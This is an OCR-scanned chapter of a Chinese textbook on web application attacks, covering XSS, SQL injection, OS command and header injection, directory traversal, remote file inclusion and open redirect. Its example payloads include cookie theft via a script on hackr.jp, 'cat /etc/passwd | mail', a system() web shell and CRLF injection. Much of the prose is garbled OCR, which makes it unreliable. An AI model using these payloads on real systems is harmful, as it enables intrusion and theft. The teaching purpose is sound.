e REFE A Bt B A2 SRR Web ISP FO 0 et B AR HEAT
3
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Exim 2%

ProFTPD
3%

SQLIEAE
39%

LHM EEEREEHAE
B LAC JSOCHASH AR MTHAERS Vol 18 (201254426 8)

LI X Y T
11.1.1 HTTP A H & E1) 2 4 ) 6e

SHEPIw AL, B4 Web [k B2 ) HTTP i s FH 5 =8
CRA TRIRBEH A . TS BT /) Web G A28 FH &1
(session) B HL. INE A EZ M HAITIEE, M HTTP BhX AN I+
A B & IXEETRE .

MR BB, HTTP e — M@ g i pll. ke &E2
H, ERAZEMET N E5%.

LI B S 2 F 26 SSH Wk, SSH B Wi 28 5 fAIE
N2TEEEETAE, HTTP MhsUWa « BAMELEY: SSH ARSS /5 H ,
ATART NERR] LAR 2 s B e 22 S5 2 e I AR SS, T HTTP B4 B3R e 4
g?ﬁﬁﬁﬁﬁ%ﬁ%%%%wL%wm&%,ﬁ%%%?%%g

Uk, TP EBAT BRI AONIE LT BT RER A2 Web
P2 4. T EAT RO U = LS M L i) sE il &5
R, “EFEFIFATE, ATUMEBIER Web N 5 2ES R 2 i
B oy WA T 22 4 TR Y Bug.

11.1.2 7E% ) g B Al S0 R
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£ Web N A, AT SE 28 R U 3 1) HTTP 5 K I 4B N &, AR Al
PLERS P i H AR B L BLek. BT EL Web B Al e 24U 21 5 1Y
Heye A F A A

{E HTTP & R OSC W I # B A, slae KXt Web B FH % .
I URL Bl 7 B R .. HTTP B %+ Cookie Z iR 2 KA 4%
N, EHIXE Web N AR 240K, INERMEEMSE )G, 8
BB = R E AR

-#Eﬁﬁﬁﬂﬁwm&ﬁw

ThERDS
SWAR
Ba'j

N

#. Cookie &R BIEHRIBE N

K. Xt Web b H X
11.1.3 %155 Web 8 A A6 2505 45 =X
X Web W FH B2 BA R P

o LM

o Wl

o DUARSS A%y H AR L3 Bl
T3 dr Cactive attack) & f5 A0 & il EL V5 M) Web N,

(LG T AW 1PN B G s W S 3 L B W = e 722 W i 6 i
BRI T Moy, DR 8 75 ZERENS U i) 2 AR EE B
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i%iﬁﬁﬁ%ﬂﬁﬁ%ﬁ%ﬁ%%&x@Aﬁ%ﬁOS@%E
ANB s

TR EHRSE LNHER I

K. EshBk
o DUARSS 4%y H AR 1 3h Bl

eEhMdy (passive attack) & 951 FH Bl B S AT oA URY ) A
e AN B R T, Bl E A B H br Web B V5
I ARt o

W Py 38 B AR S R B

LR BeEE GRS ik SR EFIRERE, a2 R sk
% O AT ARG ) HTTP 33K .

DR BTG, F T 0 G A R A S
L AR XA B

DR 3 IR RO D AR 2 8 S A LAY ) HTTP 55ROk
EEAE AT B AR Web BIH, 18T B0

DI 4 PUATFEBAARY, AR AR Web N2 NI
e kAR, Al e 32U 7 FrfFRd Cookie <54 N5 B BTN,
RS R P BURE A T 2 A R

WA B AR 3 FA AR R et A2 15 ol B A AL o ARG ol 553 5K

Dhyik
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1%&%%F%ﬁﬁﬂ&m|

@HITHEHEREBNEREB/HR
F589 Cookie 451 L. F P4 )

PRI K ' e —
() —

QAP NSRBI R

QBPHN KRR EL DR
BaBER HTTP 55K EW?ﬁEﬁMﬁm
% B e B
_ £
o (&
APEHHES @ = 0

K s B
AP P 1 5 Ay Uk A b 5 R 2%

A By, Al AE xS B A LR R _E TGS B U5 1] ) 4l Y
S 2 (Bl o R P B Nl T st O B B, AR
REWS Vs i) 2R X 28 Y T A, RIVASE A2 £ill N 19t R 2 52 3 e

R Z ARV Y IR IR AT U RE B ELICR |, U5 i) Web W3, BR4%
R WA R R R S o AR R RT REZ8 Mol ARTsRe 2 HL, 53
S ik B B e o Al N I R B B
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Al N V= g L & |

2 Qb A P 83 BT 28 a5 7
m B4 g A ) ’

2 P e iR 5k 2R T PE BN
HTTP %%

1i Mk 79 9 89 Web BR %5 28

DrEHHES

PR PR 9 el 5 0 o
11.2 (A% RS XA 542 51 R % 4w TR

St Web S FH 122 4% SR KRB0 B BER 73
o & dim ) 4 Uk
o Web N Hlun (HR 55 #im) A58 IE

o KA fEISIE

o A HEFE X

: HTTP 0 &2
e B % gh i 5121 DB
. — ) 7 it
e — HTTPi§3%
” wiE
& P i 9581 Web 5 F8 it F9 56

B ok s 1 LA 7
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Z UG 0L K H JavaScript /£%5 P i S Uk s « Al AE R i VR
S B S A JavaScript, ANIEG - JavaScript BubAE A2 B o

X PRE R P il R TR R R A 1%, RIS U

RIS HIE A

Web N FH b 4 AN AE 560 1E 1% Web B FH A B AR B UG AT BE A iR N2

HAEXHERE XA, WAERIEEE 2R G Efa 25l
2538 R ) B L B 2 - 5T G B 5 TS0 500 566

MR FE SO 248, HTML.  HRAFS55H Web N Ab 2 1) 5 dE <

Br, BT O 3 AT — D 2 O ) 2 A TR . X B
%K%éﬁ,%ﬁﬁﬁﬁﬁﬁ%kﬁﬁﬁﬁ@,ﬁ%ﬁﬁﬁ%%%ﬁ

11.2.1 By A Y S

PEUE At (Cross-Site Scripting, XSS) &4/ B A4 2 4R 1K)
Web st y3: 3k FH )30 a2 N 3847 FE% B HTML 4525 5% JavaScript i3
T — Rt . BhASEIE R HTML 3540 Al A Fa 5 24 iR . mt
XFE, Wb E S AR T, HPER RN Bisfrny, —
AN 32 B s B

5 ik B AS B A T R ad i DA 52

o FIF BRI AR LRI~ NANE R

o Al FH A B3 U 7 () Cookie 18, % 3 # £ A FIHH IS OL T
T B B B RS =R

o R PyiE I SCE B F o

o 15 Ul JHV A T T 2
EBNA A B HTML & K 4

N A A NS S T B DS vl A B g7 . 5 S R
TIPSR NME BN
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E-H_ E.”_
REPAEE REPAER
p& | Lo—Bp | wE WLo—kp
BEFEHNE yama@example.com | BEFEHHE yama@example.com
ERNE [ RE | P
EYVED | REFEY |

DAERHTMLA B TRER SRR
iR s ks A oy 22 41

BN $2 5 BoREgm R A M N F 57 5 . e A N A L
11— BRIXAE ) HTML bR 54 5

5 A HTML FREE <5 L1 0 — BB </s> 4230 KSR ARAT
e # RE — BRIk

REIAEE | REPARBE O\ | |
4 [<s> 10— /s> | T
BEfE Hht {ya ma@example.com | BpfEHEb I yama@example.com
gﬁﬁ%‘mﬁ! ‘ — BRNB ke

HiAZ e R

e o M N A2 SRR S s R LA

BRI AR T, PN s 1B R P RN <s> fil# b i HTML
WRa%, R JE B MIEREL

IR 2 500 LR A S ORI AR5 8, L S R4l
script b4 £ WIfATIE

XSS s B # A H 15 80 B I B D Ak 10 4 8l Bl

Wl P Gy J& T s MG i, ke B =3 B T
ks ) B B

IR b @ kA B URT B & Bedi € 1D, BIAH S F1ESR
BN HSIHS A RITIRE . MRUEX AT, FEcE T
ot BN A ks (R 7 o
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hitp:/lexample.jp/login?lD=yama

‘. ‘ ...

E! a3k

ID | yama
PW

(=i

Fer PN AL R TRRS RO B, TRMEUR 1R X B A
EACHS URL. I FEmiE A\ S5 56 1 5 4 IR JVE B P B Web 11T
A, B P % Rz URL.

http://example.jp/login?ID="><script>var+f=document.getElementById ("1

N BEARITIT 1% URL e, EDOURE SO K AR 24, (BB E A 1)
FAS Hfar fan T 4R1s AT 1. MR B A ID MY )5,

M BRKIR BN BEEE MG (MR hackejp) » FENNE
SAG BT

http:/fexample.jp/login?|D="><scr...

KW O [ —

KRS AR E ’K‘P,'E
ERID R & £EH —

ZJa, 1D RO ARG R B R, 1B ORISR 1% R
KA, HPRAER RS E SRS x(E E ik

Xt http://example.jp/login?ID=yama i 3K B} X B ) HTML
TS (F 55D

<div class="logo">
<img src="/img/logo.gif" alt="E! fHAZ&" />
</div>
<form action="http://example.jp/login" method="post" id="login">
<div class="input id">
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ID <input type="text" name="ID" value="yama" />
</div>

http://example.jp/login?ID=">
<script>var+f=document.getElementById("login");+f
</script><span+s=" i KN FTHTMLEACHS (%)

<div class="logo">
<img src="/img/logo.gif" alt="E! AL />
</div>
<form action="http://example.]jp/login" method="post" id="login">
<div class="input id">
ID <input type="text" name="ID" value=""><script>var f=document.get}
</div>

o Xt FH ' Cookie [1 %5 B Bl 5

PR VAR NREIEZ AN, R AR J’]LE’JEHJZIKIT# AE %
DA Sl A T 1) 77 2, G A ) Cookie 15 &

<script src=http://hackr.jp/xss.js></script>

Z A N 8 5E [ http://hackr.jp/xss.js S04 BRI BCR
JavaScript 24’5 FIACHS

var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);

document.write(">");

TEAFAE AT B8 3l A o 22 4= A 1) Web o7 A AT B T X B,
JavaScrlpt R, BUm] v a) 2% Web 3 H Frabisk 4 ) Cookie 15
Bo R JaiXEE B KIR B BEFH I Web I_Jl£

Chttp://hackr.jp/) , WCFRAMPIERHEF . 458, BhEHBHE
FEGTELEI A P ) Cookie 52 T -
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http://hackr.jp/xss.js
http://hackr.jp/

http:/fexample.jp/login?ID="> <script
src=http://hackr.p/xss.j5></script>"

B |
D[] w55 Vb I G50 F 22
P ] Cookie 3 £ BB
B3R

K. {8 A XSS B 27 B Cookie 15 £,
11.2.2  SQL ¥ A Xili
o 2PATIAEVE SQL I SQL yE A X it

SQLEA (SQLInjection) s&Fa%EHXT Web N A8 % 7, 18
EAT AR R SQL M = A Bty . iz el A T Re 5| KRR
(R, A B S BN NG B RHLEE Bt
Web N H #R o3 FH 280 P2, 75 0 B0 ek N I s 47
KRB PR S ERAEIT, {8 SQL 1B AR A 34T
B ERAE . WIRAE A SQLIER) 1 N B ESR, #ia T
BEPATHEE N (Injection) dE7E SQLI1EH].
SQLVENIBLT A Al feoxid B LA 55520

o IRVAEE BUE s FE N 1 B s

o HUMEINUE

o AT FNEHE 2 Mk 55 4 b 55 O BK () A2 5%
1] 74 SQL
SQL 72 R #/E R R E R E S 24t (Relational DataBase
Management System, RDBMS) [E¥EEET, mE TE/ESIRE

€ XS . RDBMS F1F 44 ) E#E /2 H Oracle Database
Microsoft SQL Server. IBM DB2. MySQL # PostgreSQL &5, 1X

LEXHE 1 2R i A] LA SQLAFE N EE 1R = ] .
fit AR 22 1) Web B FH, I8 R R R SQL B AL 4
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RDBMS, 4 RDBMS ik [A] {45 5 R i U8 AE Web N

o SQL ifi f1) 7= 4

SELECT title,text FROM newsTbl WHERE id=123

o SQL /& N\ B 24l

NSRSk R 2R Th R B, DR SQLIE A . 3
HizThae, FATAT UG RARE 14 A R ok, AkiziE

HIRTAE EAE
-5 # - i
BOOKSTORE
B BT HNEER | |
o .

N FEEEZEAHANE
o
12/06/18 EHE EEHI1WebZF:----- e—1%
05/06/17 LtHE STkl —ES apLEt----
0412/09 EHE SH®EN]I—LFIHTIP * R R D BER Y
04/12/09 LHT ST i1—2F I TCP/IP e

K. SQL i NI %l
1E 5 A 3 B 4 4R 7~ 1]
T EGEE R EE NG TR RS R
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«* .‘ K. - 1

BOOKSTORE R
fE&*“ EBFE "M ZESR | http:/lexample.com/search?q= F &

12/06/19 EHE FEREWsbZ-- -

05/06/17 J:E’*s SURFA—EE IR -
o T Ll I

[ SOLiE4S )
SELECT * FROM bookTbl WHERE author = ' FB& ' and flag = 1:

I'H |

! M bookTblZ&k®, BF#Eauthor= EHT and flag=1{ o7& PR &ETHEIE

K. IR AL BT 1 s ]

URL & HFZEEEE q= LEE, XAMEHE Web N 1L AT
SQL &, R T 7 SQL iEHA],

SELECT * FROM bookTbl WHERE author = ' FHEf&' and flag =

1% SQL iEH] K7~ “M bookTbl K+, 7~ 2 author= % 'E and
flag=1 (R[5 PrfeEAT IR,

48 e N 1) bookTbl AL sk % W sl () A 154548 B 18t
SQLiEH], ¥l elfEH 4 (author) LHFEIEH flag 1 MEK
FERIZF U, mIETERNERE R ERTER,

bookThl

1000203503  12/06/2023  #HI&  BugEABIE )
1000203501 12/06/2019  LEE  EAGWebzat 1]
1000103409  10/06/2002  BAESHE HEEFr T oy
1000093050 05/06/2017 S Semii—gmeiftiny 1
Cle i i) e s Bl iR il o I
Sl e e e T e el S e e (P 1]
1000042384  03/04/2021  LEHE  FHFHETCPIPAL] 0

MbookThl ZARFER ‘author= 5 E " B “flag=1" £ @M ERETEIR
*“flag=0" R FBIE K H §E
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A B e A
SQL VE N Kty () 45 A 7= 51
WA 48 E Bl 7B BB S oS e BB E -

(- | M5
ap & oo - ;
BOOKSTORE | \
i
BB EBE "B ESRE| http://fexample.com/search?q= FHE ' -

12/06/19 LBHE EHHIWeb T
05/06/17 LHE Sl —E% I et
04/12/08 LHT SEA1—&F 3 HTTP
04/12/08 L 4 Fli1—#2 5 3 TCP/IP
03/04/21 L FESETCPAP AL

| [soLEqg ] |
SELECT * FROM bookTbl WHERE author =' B 2" ' and flag = 1;

MbookThl ZER B FHERE “author= FHE "X MRS ARETEIE
[-ZBHARSE:HNAEE, Atbflag=1 E VN EARBEIEZRT )

K. SQL E AT i) #AF s 1

MY RS SQL E A i A% s M ELHE FE 1Y) bookTbl R,  EoRi 2
author= 3 & &M EATHIESE”, W F TR,

SELECT * FROM bookTbl WHERE author ='FWfE' - -' and f1

SQLIEAJH ] -- Z ] &M ERE. B, and flag=1 X548 H
BT .
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bookThbl

b b Lo luie i

1000203503  12/06/2023 HHIE Bug A BiE

eEEEn o CE T 1 o - =

£ 1000203501  12/06/2019 tﬁa 70 0 \Web 2 o1

-unw ---------

1
1000103409  10/06/2002 Eﬂ%’ﬁ'&ﬁ $ﬁﬁ#2£ 0
1

P e o

-1000093050 06/06/2017 EBHE  SBRi]—ies JEpHH

------------------------------------------------------------------------------------------------

{1000085771  04/12/2009 EHS  AmRi)j—@¥IHIIP

1
| 1000072889  04/12/2009 EHE  SspH{1—i > TCPAP A

-nﬂt-nn-tnu—-unnh-ﬁ-tﬂ-n---t-—nluhnntn—n-nnntn--ﬁ--.hnt-n--n-ﬁnthhnh-tu--u-tutnu—nuh-nuunn.

: 1000042384  03/04/2021 EFHE  HFLETICP/IP AL

e I

REF= Br8IT

M bookThlF& A B FHB R “author= L BT " XD & 097 T EHE
{flag ZPHIEFREFASQLFATRELEAT )

B Bt e b 2

gE LR flag FIWEMETEI, HEHHE author="_F B & 4 FFT
TEATHEE, IXFEIEAR LS R R Pt — H B R R T .

- & -
BOOKSTORE

| 5" BB - HREER |
12/06/2018 EBE F&H1Web-----

05/06/2017 LtHE SHRBEN—L2S I6pHEH-----
04/12/2008 tHE SBREA—EF IHTTP

04/12/2008 tHE SwmIi1—2% ITCP/IP ’/J BATEE S
03/04/2021 tHE FHFEXE . 89 48 kR 8 B4R
<”\| HBRT

K. # SQLE A5 R
SQL JE N i 2 SQL 1E A1) 45 74 1 = 5l

SQL VENE I & K SQL 1K A el 38 I & AR A B g 2 2B
I BB FE R B

tban, EZATMBE R, HUAE author I IHME CRE/F AL
MR " EEE - R R EST $q.
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SELECT * FROM bookTbl WHERE author = '3q' and flag = 1;

SELECT * FROM bookTkbl WHERE author ="'I 'and flag = 1;

A

author I E1E @&

K. SQL VE ANy i Ji B

EEHEEPSCH A & BRI RIS () Ron 2ok author
FHAEFEER, PARIES A5 55 1E VL. [MiE, author
W EE R © BB, m )RR -- WASEJE T author FIHI
6, WM A R A%

ASZ A Fp 1 ] DR AR AR R A2 B — R s ok T .
EsEhr R A SQLIE AT, R4 Al REx T HUH 75 B B4 5

gﬁiﬁ@ﬁﬁ%%#%%%&%&,Mﬁ@%ﬁ%ﬁﬁﬁﬁﬁ
LS

11.2.3 OS 2 FEANTTE

OS A FE AL (OS Command Injection) F&F8iE T Web N, AT
VLM EAE R Gidr SRR BGHERI H Y. R EAERE A A Shell BRI
T3 WU A7 Bk 1 XU

A PAAN Web W A i Shell Sk FH#EE R Gem 4. i Shell
AR, BT AT i AN B3ETE OS fn 4.

OS A ENIE A LLA] Shell K% w4, il Windows B¢ Linux #:4F &
FRI AT EENERF . BT, @it OS AT Al #4T OS k2%
EER SRR

o OS VE NI 241

N LA RER AR R DRG], DHE OS TEAN M. 1 ThfE AT
e F P R R I 2 LIRS S R AR bt &I i 2
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BETARENWAREG KX
B | |
ERCIINES

K. OS VEN B () By = 6
N AL PR 2R BN 2R 1 ER A% AR

my $adr = $q->param('mailaddress');
open(MAIL, "| /usr/sbin/sendmail $adr");
print MAIL "From: info@example.com\n";

FE7H 1 open BRELZ I A sendmail 74 A&IE MR, T4 1R
P92 3L HLHERD Sadr (RI1H

e R B R i e VR B bt

; cat /etc/passwd | mail hack@example.jp

R Gz E, MR T a5

| /usr/sbin/sendmail ; cat /etc/passwd | mail hack@example.jp

BHHEWMANMETEE T ) o BMFFSEOS ar e, &
HRHT A 576 2 BT i & fT .

] 0L, sendmail 2 HATHE 2 BF )G %?itEJEAiE}MT cat
/etc/passwd | mail hack@example.jp IXFERITT S T o £
Linux K {5 & /etc/passwd B34, E}EUEB#ﬁ/ﬁﬁﬁ%T

hack@example.jp-
11.2.4 HTTP 5 #HEAL &

HTTP B &1 AT (HTTP Header Injection) #2& i Bk & 38 1o 76 0
B BN AERARAT, SN e N R e E AR — A S . JE TR
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SINAG T Bave

[0 7 50 A PR N P 2 I B RR A HTTP i S A W i (HTTP
Response Splitting Attack)

WRFrR, Web N A B3 NSRRI R EUE,  Tan e N s 357
EX Location #11 Set-Cookie.

Location: http://www.example.com/a.cgi?q=12345
Set-Cookie: UID=12345

* 1234550 &4l N MH

HTTP B #EN AT EARIXAE, i 2 i B 5 0 - B 7 ZE A ¥y
{ERIHTT, EABAT RSB

HTTP & #E A B A A A 23& B LA T — L8550 .
o W B ATLA Cookie {5 &
o H ¥ M Z{L&E URL
o W NTERIEM CHTTP M N AL W %)

o HTTP & 0 yE N K E A

T FRATT LI & TN 50 5 R T Bk 22 8280 0k . 5 T () D) BE
B, UHE HTTP B a8 ANl . ZDhRe NN ZRBNE R E T —
Kl IDAH, —HikERERA], Bz 1D {E B WAe i B
Location B #“# BN, JEU Location: http://example.com/?
cat=101. AW & KA HE MEkFL
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7 (0 F ek B P T BB A
(- |
- @ o |
AT A AL,

B B3 (v]
)
)
)

Hig {1
Bk {1
i s e {1

‘ P o Bl

I 57 5 56 AV

Location: http://example.com/?cat=101
K. HTTP & #E A X7 B
Brdi & UL N T A A B B AR AT R0 ID Ja A0 K .

= o @

1
2
3

101%0D%0ASet-Cookie:+SID=123456789

Hrh, %0D%0A X3 HTTP ik CH AT R, KHEEE 258
FPE g WG (http://hacke.jp/) FI4iE ID &% B K
SID=123456789 1] Set-Cookie 1 #BFEX o

RIBZAERZ G, Bl Rk 8] LU R R

Location: http://example.com/?cat=101 (%OD%OA : HATHF)
Set-Cookie: SID=123456789

%), BEEFB Set-Cookie CA4ERL, KRBt & v+ E BT R
] Cookie 18 & . Wt Mg B d (BdE v HE e <
15 ID) Bk E, B EHnl R H .

Wi B HNE %0D%0A, AN 1Z)E T 1 585 Bt Location ff &
WAEERSY, HETENTE, %0D%0A A8, T #ATHE, 45824
TR E T B

XFE—K, B ] AE e B A A AT R ST B

o HTTP i 3 2 W B o
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http://hackr.jp/

HTTP i 5 285 W B o 42 FHAE HTTP 5 3y E N — My . B )i
FARE, {HEZEEHMHAD %0D%0A%0D%0A FHHHG N 755 &6 5 K&
5. FIAHXANEL AT BT/ HTTP &35 £8P 5
17847 1, IXFERLRE o i B =4, AR BB IXFERIIR
U i HTTP g o 78k W B

%OD%OA%OD%OAHTML><HEAD><TITLE> X J&, AE G RN TTAHZE <!

EN]RERAT HTTP B &N, Eid k& LIRS/, R
[m] 25 SRAS 2 DL R X e )8

Set-Cookie: UID= (%@D%OA : ATHF)
(%OD%OA : ATHF)
<HTML><HEAD><TITLE>Z J&, MEIEERFINTTAE <!-- (JERITHEX

F RN By, S R B R P 300 S 28 <= W D il 1Y Web 1L
ﬁéﬁﬁ;%ﬁﬁfjiﬁﬁ)\ H O NG B A, ATk 2Rk A B AH
IEJ ; 5“; o

4, W HTTP/1.1 FLEZ PR FIDRE, &SRS
TR N AT RATERE ﬁﬁﬁ%%ﬁ%ﬁﬁ%oﬁ%ﬁ%
RS A I P, 780 V8 52 PO R i F, - 2 AN st ) W gl &
el (] Web /X 17T o

11.2.5  HEMA & 5 N BGE

A 07 A\ (Mail Header Injection) s&f8 Web N A I HEAEE ik T
Be, Bodh i@ myfs e i To 8L Subject AT BN INAETL N B AR
Wik o MR 22 TR T Web WG, AT Z R AL & aE T
HS A B 7 R A2 o

o MRAH: T F VA N B i 22 451

NHETEL Web UL R 1R B9 B U A B RS E ARG .
TRE Al AR B NN A BRSNS e, BB 1Y)
TR IR G Pl 2R 57
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-
.* ‘ hup

M &8

BEEMNTRERBRIZ,
BE ¢k |
BHEAE

A BRI =
Bl #oR DL B A v s fE b ik A iE 5K

bob@hackr. jp$0D$0ABcc: user(@example.com

%0D%O0A 1E BB SCHRARR AT RF . — B &R BT LE ] Web
IR T XA RATRE, 5T RESEILNT Bee HIRA R b 1368 n &
1%, MXJEARTCETRE R .

FAME TN —FE, AN ESE AT /A r] BE S SUbi e SR
N FEKIE

bob@hackr.jp%0D%$0A%0D$0ATest Message

H LR, AR RES To Al Subject Z5AT = MR &
By A ST IS5 30 1

11.2.6 H=xm ;B &

H3xif )7 (Directory Traversal) Bir &85 AL A H 3%,
AR H s A S, A RYT IR H B — A . XM
I WRR NS 2 ) (Path Traversal) M.

I Web WX SO AL BRERVERS,  7E BB AMNER TR 8 SUH 44 I AL A7 7
FLREITEOLR, H PR L AN AR B AL B Jete/passed S48 %)
pAt b, RS g AR S RSO B H sk BRI Reg U A 2] 1X
FE—K, SiAnTREARENI . BECEI B Web A58 S0

ﬁi‘%ﬁﬁiﬁﬁﬁﬂﬁ%)‘(ﬁ‘] [ R, {ELBE 12 5% P i XA R S A 44 1 U )
IR
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o H il [ Mo =1

T PASE RIS OO T RE N, R H s P B . i ThRE I
LR EMTFB, feeit M tb-4. REMN iwww/log/ XA B & T
BEHUX A8 1 SCA

http://example.com/read.php?log=0401.1log

Kol B WE AN A BUa K HIE K

http://example.com/read.php?log=../../etc/passwd

B FBON T BB T F BT LY Jetc/passwd S0, 2 M
Jwww/log/ B K6 E M AR 84T . WX {0 read.php JIARE %
Nﬁ%ﬁ%%%ﬁmk&ﬁ,%ExTA%MI#%ﬁfTﬁW
[ P XU

log=../../etc/passwd

P —

log=0401.lcg
YWY read.php
o
log 0401.log
- .
etc passwd

K. H s Bt 40
11.2.7 @R B i
TR A5 I (Remote File Inclusion) FE&35 248070 A N & 75 2
MIAR SR N, B 3 A R $i e A0 i 55 78 1Y URL 78 2444 i S
P, AR J5, SRl IsAT A R A i) — R B
X 32L& PHP fAE % 4, % PHP [¥) include BY, require K ijt ,
g — Ml e, 8 E NS AR URL VR NS4 1 T Re
HiE, ZINEERSGHR, PHP5.2.0 2 )5 BRIAVEE M I RE AL

[ SRAFAE S R e SCHO T A, (BB AR S 44 4R e
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o 2R A B i IR A 2o 2= A1

NHELL include B2 HH &) 7 BUE € SCIFRIZhREN B, PHRIZFE
MAFEE . zIhRe R LR Bl T BOR AR St 44, JF
FEA NI include 18 F) b2 NIXAN R € SCAF

http://example.com/foo.php?mod=news.php

X N BAS A R B

http://example.com/foo.php FIJEAHES CGEordEs%)

$modname = $_GET['mod'];
include($modname);

Kol fa e A R i 22U URL & B K .

http://example.com/foo.php?mod=http://hackr.jp/cmd.php&cmd=1ls

Ko e SN R 55 45 B 1 LN X BUBIA

http://hackr.jp/cmd.php FIJEACHY

<? system($ GET['cmd']) ?>

% Web lx55#5 (example.com) [ include 7] DL 5| NFMEBAR S 2%
(1) URL, HEHLo e NI & A AT IR 55 4 b3 et 45 11

URL (http://hackr.jp/cmd.php) o 55, I system REUR BEE
Web Jk%5#5 (example.com) EHATEMFZBIREM OS 2 1 -
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http://hackr.jp/cmd.php

http://fexample.com/foo.php?mod=news.php
EAR—BZTOXHHNT

WA foo.php T‘ $modname = $_GET['med'];
\\ 4 ﬁ include($modname);

news.php

X 5 56 11
http://fexample.com/foo.php?mod=http://hackr.jp/cmd.php&emd=ls
BEAS RS2 E I AFF T

[ http:/thackr.jp/emd.php &35 048 ]
<? system($_GET['cmd']) ?>
@7 system B EE BE 95 FE example.com R &2 F T OS 6%

Pz A SO I VA A e 22 491

7 DA b 2 22491 EP fﬁhﬁ T A7~ Web ilR%5 4% (example.com)
O K H B B s fr o

11.3 HwE kit ERskE 5 &K 272w
e

AR B BT B BRI 51 R 1) aiwii e da, fRiRiE Web sy
#e, B BT B SR 5 R A 2 AR

11.3.1 &%

sl % (Forced Browsing) Z4jmieTs, MZEAE Web lr55 2%
P~ H 3 s, 5U”F£BEBEEZ§4FE§F§/\3?E@3tﬁ?

SR 1) 0 N A AT BE i R DA SRR

o It EE A FIAN NG B S5 B

o JitFE AT E B A UG M AR T P AR S R A

o It 55 R A1 % B A S ) SCA
X AR LL AR AT S, A T ARIE % & RaHdE URL, A — H.A)]
iE 7 ABELE URL, i ERE /W% URL XN S0, BIEEERE S
HE ) SO 4 80 B SR 5 i, it Fhte 7 vEmT e 2 {6 URL 724
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Ttz

YHHEHx R

http://www.example.convlog/

W R E S B Aamk, RERIAE S — A & B BRS04
2T W AE I i) A 4 I B 3k 44
http://www.example.com/entry/entry 081202.1og

AR N (P LI ptE oL, arHEE T — AN SR
entry 081203.log)

A A

http://www.example.com/cgi-bin/entry.cgi (JRIA A4
http://www.example.com/cgi-bin/entry.cgi~ (€1 A4
http://www.example.com/cgi-bin/entry.bak (#5473 AF)

Eiééﬁiﬁ%‘(# H B2 B2 SO AT AR, A AT g L LAYRA RS /E
XER

ZeINUEA AT 7 B SCAF

B EN URL V5 19 J3 AR A4 i\ E A BEAE Web T2 TH A FH 7 SC44
(HTML 344 B . PDF 253084, CSS VALK HAhH RS

O RIS S 7 ee ot SR I E S 1]
NHEEATLL 2 R R SNS HACThRe N E],  PH s il 30 Ui ml 78 52

Iz aimif. iZzHICTIRetRUE T BR AT UF BRI P AN RSN, 2
fils NFRANBEVT 7] H AL
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- A o ] AF WU BAFRAMETMMIATFER
SNS B P A EETT B LAY B
WAEEGEIE— %
> 5 EZ

Hic R o= )
<img src="http://example.com/img/tRNgSUBdG7Da.jpg">

N . . g .
N Y IS HEIERE K URL, BIERH
oy ZAT BN eI AR PR 649 A Pt o] gEE

P o i 0 B 5 0% AR A 2241
iz HAad A ry G I A IR W R s

<img src="http://example.com/img/tRNqSUBdG7Da.jpg" >

B A 30 HAC B U AR, R B RE X P A i URL, G H %
a4 7€ URL H)5 N RE Bz B . HACHI DI REAN SCA BA J7 ) % 5
oz, (EAN LA R s i R, = 2E 1 2 e .

11.3.2 A IEAf R B DRV B AL 2R
ANIERARERTE S ALEE (Error Handling Vulnerability) % 4% /&
fa, Web M HMEREENOEXNBHHEFHIEE. 5 Web M H
AR BERE BN R,

e Web 3 F 4 tH 1) £ 12 7 B

o R S R G I ES RV B

Web S AN AE P B30 0 i T e IR VR A AR T S o R BB oK
Ui, FEHRERTE S A TR AT N — IR B PR R

o NIEHHRIEL 1R TY B AL 3 5 8 22 4 I T 1) 2= 01

Web A #1412 T B

T POAEDIRE B UEES SR vE BB, YA IE A i B 1R TE B Ak
P ZINIETIRE, 75 %0 N2 5P IR Hi kil S 2% 05 DG HE & A=
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HIRI, SPRAHIRGER .

I
an f

MR EIHE | yama@example.com

%E’g o b b b
B EEERRS
B3

R 4 A E AR
A SVBE L AR ER
EHIAI A BIET M

X E 2 HERT " SR R " R A
EYER bl A B IROIE B, BB TRIFEENE
5, BRI RERGEATHRAKSESFE.

s A I B B A R T R AL PR 302 A U T 2R

75w R S B R R EM B R R . S5 A BR bk
FIRAETZ Web Pl EVETS, miasl /X f i imiE S . Bvi
EM#@&@E,&&%ﬁ%%ﬁﬂ%ﬁ%ﬁ?Z%%%ﬁ%

I O

B & R FHHEAT AR S N =3 A R IR IR G BIX a6, winl 1
RIS AN BRIk 2 7 CAEIX S Web Wl iR 1

N T AR BB LR &, @ BCR 5 B N A R
B B A UER R I MR RE R AT

Kb e 55 A gril R B R S

AT LR R DY RESR R FI RS S OB, BHEAS IE BB R
SR, AThREH TRREWE, MR TR R, =i
ANHSCE P R R o

N BLAAETI RERI VLR DRI S 9B, DEAEAS L0 0 R 1R B AL
B, ZNUEDH REAER AR FL N IR AE s bk K 5 65 UL e & 2R B iR

Hﬂ‘ ’ /Z%j:/_\%ﬂ—‘_\‘%%i%{% 1%\ o
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- &

DBD:mysqgl::st execute failed: You have an
error in your SQL syntax; check the manual
that corresponds to your MySQL server
version for the right syntax to use near """ IN
{itemnum,name,scr)’ atline 1 at
Mvarfwwwfsearch.cgi line 107.

STE0{E R E9E( MySOL ViR
TEEE T D SQLIBA R B

B A IR R B B R T B AL P T B0 A U TR A 2R

EIr Ry o 75 SQLA KRR MIFRE S,
{5 B BFAE Debug I A # B, (EXTH 2T AL

Wi # ANIX 2% B R Ml P F 9 2 MySQL, H&ibE
%T&J%QWHQOﬁﬂ%%ﬁ%ﬁﬁﬁﬂlﬁkﬁﬁuﬁ
R ER FEETEL T U7

o PHP 5l ASP %5 il A4 5%

o K e 5 B A1 1) R

o Web It 55 #% 1) 5 %

F RGN VEAR AR R ST e, s B e SRR T
B DU R RS B4 U B AR A

11.3.3  FFE & )

HIE E ] (Open Redirect) & — x5 7 FIME & URL A 5 € [ B
PIZRE. T LT REAE R 22 i 2 1R, R8s € I E € 7] URL
B BAEEN Web Wi, A4 H P 2815 5 2081 Web

A

Jgo

o JTJSUE 5E 1) 1 HL i 2= 11
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FATLL N TH ) URL i = 5E 17 ], DT € [ B 22481
g%ﬁ%ﬁ%ﬁ URL {8 S5, ACSKA) URL A& A4 55 )ik

http://example.com/?redirect=http://www.tricorder. jp

s AU E [ R I 2 AU )l L BERFREBIF R Web 19 3t X
[f] 3ERE, a1 F s

http://example.com/?redirect=http://hackr.jp

ﬁﬁFﬁ?UURL):JEUﬁWﬁI‘Eﬂ example.com, ANELSLFR F#HESF SR
hackr.jp 1IX M8 7€ 1 E € 7] H x

